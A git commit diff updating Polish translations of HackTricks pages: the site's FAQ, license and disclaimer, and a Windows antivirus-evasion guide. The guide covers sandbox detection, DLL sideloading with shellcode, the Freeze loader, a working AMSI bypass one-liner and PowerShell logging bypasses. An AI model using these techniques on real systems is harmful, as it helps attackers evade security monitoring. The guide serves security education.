mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har
This commit is contained in:
parent
f994f70e8b
commit
11bef5e598
@ -13,7 +13,7 @@
|
|||||||
> - **PRZECHOWUJ** niesamowite **techniki hackingowe**, które publikuje społeczność, dając **ORYGINALNYM** **AUTOROM** wszystkie **uznania**.
|
> - **PRZECHOWUJ** niesamowite **techniki hackingowe**, które publikuje społeczność, dając **ORYGINALNYM** **AUTOROM** wszystkie **uznania**.
|
||||||
> - **Nie chcemy uznania od innych ludzi**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
|
> - **Nie chcemy uznania od innych ludzi**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
|
||||||
> - Pisujemy również **własne badania** w HackTricks.
|
> - Pisujemy również **własne badania** w HackTricks.
|
||||||
> - W kilku przypadkach napiszemy **w HackTricks podsumowanie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów.
|
> - W kilku przypadkach napiszemy **w HackTricks podsumowanie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego posta** po więcej szczegółów.
|
||||||
> - **ORGANIZUJ** wszystkie techniki hackingowe w książce, aby były **BARDZIEJ DOSTĘPNE**.
|
> - **ORGANIZUJ** wszystkie techniki hackingowe w książce, aby były **BARDZIEJ DOSTĘPNE**.
|
||||||
> - Zespół HackTricks poświęcił tysiące godzin za darmo **tylko na organizację treści**, aby ludzie mogli **uczyć się szybciej**.
|
> - Zespół HackTricks poświęcił tysiące godzin za darmo **tylko na organizację treści**, aby ludzie mogli **uczyć się szybciej**.
|
||||||
|
|
||||||
@ -78,11 +78,11 @@ Jeśli myślisz, że książki HackTricks są stworzone do **celów komercyjnych
|
|||||||
|
|
||||||
Mamy sponsorów, ponieważ, nawet jeśli cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Github**](https://github.com/sponsors/carlospolop) oraz **odpowiednie firmy zajmujące się cyberbezpieczeństwem**, aby sponsorowały HackTricks i **miały kilka reklam** w książce, które są **zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś koncentruje się na treści.
|
Mamy sponsorów, ponieważ, nawet jeśli cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Github**](https://github.com/sponsors/carlospolop) oraz **odpowiednie firmy zajmujące się cyberbezpieczeństwem**, aby sponsorowały HackTricks i **miały kilka reklam** w książce, które są **zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś koncentruje się na treści.
|
||||||
|
|
||||||
Nie znajdziesz HackTricks wypełnionych irytującymi reklamami jak inne blogi z dużo mniejszą ilością treści niż HackTricks, ponieważ HackTricks nie jest stworzony do celów komercyjnych.
|
Nie znajdziesz HackTricks wypełnionych irytującymi reklamami, jak inne blogi z dużo mniejszą ilością treści niż HackTricks, ponieważ HackTricks nie jest stworzony do celów komercyjnych.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest zacytowana?**
|
> - **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim poście na blogu, ale nie jest cytowana?**
|
||||||
|
|
||||||
**Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać za pośrednictwem zgłoszeń na Githubie, Twittera, Discorda... link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy ASAP**.
|
**Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać za pośrednictwem zgłoszeń na Githubie, Twittera, Discorda... link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy ASAP**.
|
||||||
|
|
||||||
@ -94,7 +94,7 @@ Zauważ, że posiadanie linków do twojej strony w HackTricks:
|
|||||||
|
|
||||||
- Poprawia twoje **SEO**
|
- Poprawia twoje **SEO**
|
||||||
- Treść jest **tłumaczona na więcej niż 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
|
- Treść jest **tłumaczona na więcej niż 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
|
||||||
- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (kilka osób wspomniało nam, że odkąd ich strona znajduje się w HackTricks, otrzymują więcej odwiedzin)
|
- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (kilka osób wspomniało nam, że odkąd jakaś ich strona jest w HackTricks, otrzymują więcej odwiedzin)
|
||||||
|
|
||||||
Jednak, jeśli nadal chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my na pewno **usuniemy każdy link do twojego bloga** oraz wszelkie treści oparte na nim.
|
Jednak, jeśli nadal chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my na pewno **usuniemy każdy link do twojego bloga** oraz wszelkie treści oparte na nim.
|
||||||
|
|
||||||
@ -102,39 +102,39 @@ Jednak, jeśli nadal chcesz, aby treść twojego bloga została usunięta z Hack
|
|||||||
>
|
>
|
||||||
> - **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
|
> - **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
|
||||||
|
|
||||||
Zawsze **przyznajemy oryginalnym autorom wszystkie zasługi**. Jeśli znajdziesz stronę z skopiowaną treścią bez wskazania oryginalnego źródła, daj nam znać, a my albo **usuniemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją, dodając link**.
|
Zawsze **przyznajemy oryginalnym autorom wszystkie zasługi**. Jeśli znajdziesz stronę z skopiowaną treścią bez wskazania oryginalnego źródła, daj nam znać, a my albo **usuniemy to**, **dodamy link przed tekstem**, albo **przepiszemy to, dodając link**.
|
||||||
|
|
||||||
## LICENSE
|
## LICENSE
|
||||||
|
|
||||||
Copyright © All rights reserved unless otherwise specified.
|
Copyright © Wszystkie prawa zastrzeżone, chyba że zaznaczone inaczej.
|
||||||
|
|
||||||
#### License Summary:
|
#### Podsumowanie Licencji:
|
||||||
|
|
||||||
- Attribution: You are free to:
|
- Atrybucja: Masz prawo do:
|
||||||
- Share — copy and redistribute the material in any medium or format.
|
- Udostępniania — kopiowania i redystrybucji materiału w dowolnym medium lub formacie.
|
||||||
- Adapt — remix, transform, and build upon the material.
|
- Adaptacji — remiksowania, przekształcania i budowania na podstawie materiału.
|
||||||
|
|
||||||
#### Additional Terms:
|
#### Dodatkowe Warunki:
|
||||||
|
|
||||||
- Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
|
- Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Proszę odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu dotyczących treści osób trzecich.
|
||||||
- Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
|
- Autorstwo: Oryginalne treści napisane przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania tej pracy autorowi podczas udostępniania lub adaptacji.
|
||||||
|
|
||||||
#### Exemptions:
|
#### Wyjątki:
|
||||||
|
|
||||||
- Commercial Use: For inquiries regarding commercial use of this content, please contact me.
|
- Użycie komercyjne: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, proszę o kontakt.
|
||||||
|
|
||||||
This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
|
Ta licencja nie przyznaje żadnych praw do znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i branding przedstawione w tym blogu/książce są własnością ich odpowiednich właścicieli.
|
||||||
|
|
||||||
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
|
**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie odwiedzaj tej strony.**
|
||||||
|
|
||||||
## **Disclaimer**
|
## **Zrzeczenie się odpowiedzialności**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Treść zawarta w tej książce jest dostarczana na zasadzie 'tak jak jest', a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych lub dorozumianych, dotyczących kompletności, dokładności, niezawodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się więc wyłącznie na twoje ryzyko.
|
> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Treść zawarta w tej książce jest dostarczana na zasadzie 'tak jak jest', a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych lub dorozumianych, dotyczących kompletności, dokładności, niezawodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się na własne ryzyko.
|
||||||
>
|
>
|
||||||
> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, pośrednie lub wynikowe straty lub szkody, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z lub w związku z korzystaniem z tej książki.
|
> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, pośrednie lub wynikowe straty lub szkody, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z lub w związku z korzystaniem z tej książki.
|
||||||
>
|
>
|
||||||
> Ponadto, techniki i wskazówki opisane w tej książce są dostarczane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do żadnych nielegalnych lub złośliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a wszelkie korzystanie z informacji zawartych w tej książce odbywa się na ryzyko i uznanie użytkownika.
|
> Ponadto, techniki i wskazówki opisane w tej książce są dostarczane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do żadnych nielegalnych lub złośliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i uznanie użytkownika.
|
||||||
>
|
>
|
||||||
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakichkolwiek technik lub wskazówek opisanych w tej książce.
|
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakichkolwiek technik lub wskazówek opisanych w tej książce.
|
||||||
>
|
>
|
||||||
|
@ -12,11 +12,11 @@
|
|||||||
|
|
||||||
## **Metodologia unikania AV**
|
## **Metodologia unikania AV**
|
||||||
|
|
||||||
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, wykrywania statycznego, analizy dynamicznej, a dla bardziej zaawansowanych EDR-ów, analizy behawioralnej.
|
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, w tym detekcji statycznej, analizy dynamicznej oraz, w przypadku bardziej zaawansowanych EDR, analizy behawioralnej.
|
||||||
|
|
||||||
### **Wykrywanie statyczne**
|
### **Detekcja statyczna**
|
||||||
|
|
||||||
Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania:
|
Detekcja statyczna osiągana jest poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także poprzez wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju detekcji:
|
||||||
|
|
||||||
- **Szyfrowanie**
|
- **Szyfrowanie**
|
||||||
|
|
||||||
@ -31,7 +31,7 @@ Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, a
|
|||||||
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
|
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defendera jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
|
> Dobrym sposobem na sprawdzenie detekcji statycznej Windows Defendera jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
|
||||||
|
|
||||||
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznego unikania AV.
|
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznego unikania AV.
|
||||||
|
|
||||||
@ -41,9 +41,9 @@ Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownic
|
|||||||
|
|
||||||
- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich snów może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
|
- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich snów może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
|
||||||
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
||||||
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz celować w użytkownika, którego stacja robocza jest podłączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
|
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest podłączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
|
||||||
|
|
||||||
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defendera to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
|
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
|
||||||
|
|
||||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
<figure><img src="../images/image (209).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
@ -55,10 +55,10 @@ Jak już wcześniej wspomniano w tym poście, **publiczne narzędzia** ostateczn
|
|||||||
|
|
||||||
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
|
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
|
||||||
|
|
||||||
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
|
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych kawałków złośliwego oprogramowania przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Podczas modyfikowania swoich ładunków w celu unikania, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
> Podczas modyfikowania swoich ładunków w celu unikania, upewnij się, że **wyłączasz automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
||||||
|
|
||||||
## EXE vs DLL
|
## EXE vs DLL
|
||||||
|
|
||||||
@ -66,9 +66,9 @@ Kiedy to możliwe, zawsze **priorytetuj używanie DLL do unikania**, z mojego do
|
|||||||
|
|
||||||
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
|
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
|
||||||
|
|
||||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc a normalnym ładunkiem DLL z Havoc</p></figcaption></figure>
|
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc vs normalnego ładunku DLL z Havoc</p></figcaption></figure>
|
||||||
|
|
||||||
Teraz pokażemy kilka trików, które możesz wykorzystać z plikami DLL, aby być znacznie bardziej dyskretnym.
|
Teraz pokażemy kilka trików, które możesz użyć z plikami DLL, aby być znacznie bardziej dyskretnym.
|
||||||
|
|
||||||
## Sideloading DLL i Proxying
|
## Sideloading DLL i Proxying
|
||||||
|
|
||||||
@ -81,9 +81,9 @@ $binarytoCheck = "C:\Program Files\" + $_
|
|||||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
To polecenie wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
|
To polecenie wyświetli listę programów podatnych na atak DLL hijacking w "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
|
||||||
|
|
||||||
Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana poprawnie, ale jeśli użyjesz publicznie znanych programów Sideloadable, możesz łatwo zostać złapany.
|
Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest prawidłowo wykonana, ale jeśli użyjesz publicznie znanych programów Sideloadable, możesz łatwo zostać złapany.
|
||||||
|
|
||||||
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
|
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
|
||||||
|
|
||||||
@ -98,7 +98,7 @@ Oto kroki, które wykonałem:
|
|||||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||||
```
|
```
|
||||||
Ostatnie polecenie wygeneruje nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL.
|
Ostatnie polecenie wygeneruje 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL.
|
||||||
|
|
||||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||||
```
|
```
|
||||||
@ -111,11 +111,11 @@ Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci
|
|||||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **Zdecydowanie polecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
|
> **Zdecydowanie polecam** obejrzenie [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [filmu ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
|
||||||
|
|
||||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||||
|
|
||||||
`Freeze to zestaw narzędzi do payloadów do omijania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
|
`Freeze to zestaw narzędzi do przełamywania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
|
||||||
|
|
||||||
Możesz użyć Freeze do załadowania i wykonania swojego shellcode w sposób dyskretny.
|
Możesz użyć Freeze do załadowania i wykonania swojego shellcode w sposób dyskretny.
|
||||||
```
|
```
|
||||||
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||||||
|
|
||||||
## AMSI (Interfejs Skanowania Antywirusowego)
|
## AMSI (Interfejs Skanowania Antywirusowego)
|
||||||
|
|
||||||
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli w jakiś sposób mogłeś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
|
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo, programy antywirusowe były w stanie skanować tylko **pliki na dysku**, więc jeśli udało ci się jakoś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
|
||||||
|
|
||||||
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
|
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
|
||||||
|
|
||||||
@ -167,7 +167,7 @@ Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell
|
|||||||
|
|
||||||
**Wymuszenie błędu**
|
**Wymuszenie błędu**
|
||||||
|
|
||||||
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie zainicjowane żadne skanowanie dla bieżącego procesu. Początkowo ujawnione przez [Matta Graebera](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
|
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że żadne skanowanie nie zostanie zainicjowane dla bieżącego procesu. Początkowo ujawnione przez [Matta Graebera](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
|
||||||
```bash
|
```bash
|
||||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||||
```
|
```
|
||||||
@ -215,7 +215,7 @@ powershell.exe -version 2
|
|||||||
```
|
```
|
||||||
## PS Logging
|
## PS Logging
|
||||||
|
|
||||||
Logowanie PowerShell to funkcja, która pozwala na rejestrowanie wszystkich poleceń PowerShell wykonywanych w systemie. Może to być przydatne do celów audytowych i rozwiązywania problemów, ale może też stanowić **problem dla atakujących, którzy chcą uniknąć wykrycia**.
|
Logowanie PowerShell to funkcja, która pozwala na rejestrowanie wszystkich poleceń PowerShell wykonywanych w systemie. Może to być przydatne do audytu i rozwiązywania problemów, ale może to również stanowić **problem dla atakujących, którzy chcą uniknąć wykrycia**.
|
||||||
|
|
||||||
Aby obejść logowanie PowerShell, możesz użyć następujących technik:
|
Aby obejść logowanie PowerShell, możesz użyć następujących technik:
|
||||||
|
|
||||||
@ -234,7 +234,7 @@ Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w p
|
|||||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskator**
|
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskator**
|
||||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie open-source'owego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zabezpieczanie przed manipulacjami.
|
